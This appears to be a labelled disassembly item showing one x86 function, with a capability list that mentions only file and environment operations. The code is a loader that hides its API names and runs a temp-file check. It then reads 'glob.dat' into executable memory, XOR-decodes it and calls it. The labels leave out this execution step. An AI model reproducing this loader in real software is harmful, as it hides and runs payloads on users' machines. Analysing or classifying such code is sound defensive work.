Function at 0x65a41567
Capabilities:
Delete file
Get file size
Query environment variable
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
lea ecx, [ebp - 0x11c]
push ebx
sub esp, 0x2bc
mov dword [esp], str.VirtualA
call fcn.65a414fa
lea ecx, [ebp - 0x11c]
push eax
mov dword [esp], str.lloc
call fcn.65a68cb0
push esi
lea ecx, [ebp - 0x280]
mov dword [esp], eax
call fcn.65a6a3f0
lea ecx, [ebp - 0x11c]
push edi
call fcn.65a67ee0
mov dword [esp], 0x65a6f052
lea ecx, [ebp - 0x220]
call fcn.65a414fa
push ebx
lea ecx, [ebp - 0x220]
mov dword [esp], str.Module
call fcn.65a68cb0
push edx
lea ecx, [ebp - 0x11c]
mov dword [esp], eax
call fcn.65a6a3f0
push ecx
lea ecx, [ebp - 0x11c]
mov dword [esp], str.FileNameA
call fcn.65a68cb0
push esi
lea ecx, [ebp - 0x268]
mov dword [esp], eax
call fcn.65a6a3f0
lea ecx, [ebp - 0x11c]
push edi
call fcn.65a67ee0
lea ecx, [ebp - 0x220]
call fcn.65a67ee0
mov dword [esp], 0x65a6f067
lea ecx, [ebp - 0x11c]
call fcn.65a414fa
push ebx
lea ecx, [ebp - 0x11c]
mov dword [esp], str.ateFileA
call fcn.65a68cb0
push edx
lea ecx, [ebp - 0x250]
mov dword [esp], eax
call fcn.65a6a3f0
push ecx
lea ecx, [ebp - 0x11c]
call fcn.65a67ee0
mov dword [esp], str.glob
lea ecx, [ebp - 0x11c]
call fcn.65a414fa
push edi
lea ecx, [ebp - 0x11c]
mov dword [esp], str..dat
call fcn.65a68cb0
push ebx
lea ecx, [ebp - 0x238]
mov dword [esp], eax
call fcn.65a6a3f0
lea ecx, [ebp - 0x11c]
push esi
call fcn.65a67ee0
mov dword [esp], str.Kernel32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push ecx
mov ebx, eax
mov eax, dword [ebp - 0x280]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esp + 4], eax
mov dword [esp], ebx
call edi
push edx
push edx
mov dword [ebp - 0x2a8], eax
mov eax, dword [ebp - 0x268]
mov dword [esp], ebx
mov dword [esp + 4], eax
call edi
push esi
push esi
mov dword [ebp - 0x2a0], eax
mov eax, dword [ebp - 0x250]
mov dword [esp], ebx
mov dword [esp + 4], eax
call edi
push ecx
mov esi, eax
push ecx
mov dword [esp + 4], str.ReadFile
mov dword [esp], ebx
call edi
push edx
push edx
mov dword [ebp - 0x2a4], eax
lea eax, [ebp - 0x220]
mov dword [ebp - 0x285], 0
mov byte [ebp - 0x281], 0
mov dword [esp + 8], 0x104
mov dword [esp + 4], eax
mov dword [esp], str._temp__tmp828529625.tmp
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
sub esp, 0xc
lea eax, [ebp - 0x220]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 2
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x40000000
mov dword [esp], eax
call esi
sub esp, 0x1c
mov ebx, eax
lea eax, [ebp - 0x28c]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov dword [esp + 8], 4
mov dword [esp + 4], str.2737
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esp, 0x14
test eax, eax
je 0x65a41a63
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
lea eax, [ebp - 0x220]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], 0x80000000
mov dword [esp], eax
call esi
sub esp, 0x1c
mov dword [ebp - 0x29c], eax
lea eax, [ebp - 0x28c]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x285]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x29c]
mov dword [esp + 0x10], 0
mov dword [esp], eax
mov eax, dword [ebp - 0x2a4]
mov dword [esp + 8], 4
call eax
sub esp, 0x14
test eax, eax
je 0x65a419c8
lea eax, [ebp - 0x285]
mov dword [esp + 8], 4
mov dword [esp + 4], eax
mov dword [esp], str.2737
call sub.msvcrt.dll_strncmp
mov edi, eax
test eax, eax
jne 0x65a419c8
mov eax, dword [ebp - 0x29c]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
lea eax, [ebp - 0x220]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push eax
lea ebx, [ebp - 0x11c]
mov eax, dword [ebp - 0x2a0]
mov dword [esp + 8], 0x104
mov dword [esp + 4], ebx
mov dword [esp], 0
call eax
sub esp, 0xc
mov dword [esp + 4], 0x5c
mov dword [esp], ebx
call sub.msvcrt.dll_strrchr
test eax, eax
jne 0x65a4190a
lea eax, [ebp - 0x11c]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], 0x80000000
mov dword [esp], eax
call esi
sub esp, 0x1c
mov esi, eax
cmp eax, 0xffffffff
jne 0x65a41924
jmp 0x65a41977
mov byte [eax], 0
mov eax, dword [ebp - 0x238]
mov dword [esp], ebx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push eax
push eax
jmp 0x65a418c3
mov dword [esp + 4], 0
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push ebx
push ebx
mov dword [ebp - 0x2a0], eax
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x2a8]
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x1000
mov dword [esp], 0
call eax
sub esp, 0x10
mov ebx, eax
test eax, eax
jne 0x65a41987
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
test ebx, ebx
jne 0x65a419c4
mov dword [esp], 0xffffffff
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
jmp 0x65a419c8
lea eax, [ebp - 0x290]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x2a0]
mov dword [esp + 4], ebx
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x2a4]
mov dword [esp], esi
call eax
sub esp, 0x14
cmp edi, dword [ebp - 0x2a0]
je 0x65a41969
xor byte [ebx + edi], 0x19
inc edi
jmp 0x65a419b5
call ebx
jmp 0x65a41977
mov eax, dword [ebp - 0x29c]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
lea eax, [ebp - 0x220]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push eax
jmp 0x65a41a63
lea ecx, [ebp - 0x238]
call fcn.65a67ee0
lea ecx, [ebp - 0x250]
call fcn.65a67ee0
lea ecx, [ebp - 0x268]
call fcn.65a67ee0
lea ecx, [ebp - 0x280]
call fcn.65a67ee0
lea esp, [ebp - 0xc]
xor eax, eax
pop ebx
pop esi
pop edi
pop ebp
ret